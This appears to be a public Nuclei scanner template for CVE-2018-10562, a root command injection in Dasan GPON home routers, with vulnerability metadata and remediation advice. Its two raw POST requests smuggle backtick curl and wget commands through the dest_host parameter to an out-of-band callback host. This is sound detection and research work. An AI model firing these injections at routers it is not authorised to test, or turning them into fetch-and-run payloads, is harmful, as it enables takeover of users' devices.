Dasan GPON home routers are susceptible to command injection which can occur via the dest_host parameter in a diag_action=ping request to a GponForm/diag_Form URI. Because the router saves ping results in /tmp and transmits them to the user when the user revisits /diag.html, it's quite simple to execute commands and retrieve their output.
PoC代码[已公开]
id: CVE-2018-10562
info:
name: Dasan GPON Devices - Remote Code Execution
author: gy741
severity: critical
description: Dasan GPON home routers are susceptible to command injection which can occur via the dest_host parameter in a diag_action=ping request to a GponForm/diag_Form URI. Because the router saves ping results in /tmp and transmits them to the user when the user revisits /diag.html, it's quite simple to execute commands and retrieve their output.
impact: |
Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands with root privileges on the affected device.
remediation: |
Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
reference:
- https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router
- https://github.com/f3d0x0/GPON/blob/master/gpon_rce.py
- https://nvd.nist.gov/vuln/detail/CVE-2018-10562
- https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router/
- https://github.com/ethicalhackeragnidhra/GPON
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2018-10562
cwe-id: CWE-78
epss-score: 0.94028
epss-percentile: 0.99892
cpe: cpe:2.3:o:dasannetworks:gpon_router_firmware:-:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: dasannetworks
product: gpon_router_firmware
tags: cve,cve2018,dasan,gpon,rce,oast,kev,dasannetworks
variables:
useragent: '{{rand_base(6)}}'
http:
- raw:
- |
POST /GponForm/diag_Form?images/ HTTP/1.1
Host: {{Hostname}}
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'`;busybox wget http://{{interactsh-url}}&ipv=0
- |
POST /GponForm/diag_Form?images/ HTTP/1.1
Host: {{Hostname}}
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'`;wget http://{{interactsh-url}}&ipv=0
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: {{useragent}}"
# digest: 490a00463044022065fc9d87af3a247eb37f2577355dc37f542246863fb72be63ae1da80db4fe0d502205d9db1a43076d64afbd4934bbab5f47c9a6ae14c9b18d5c1b37d28a40989e2c9:922c64590222798bb761d5b6d8e72950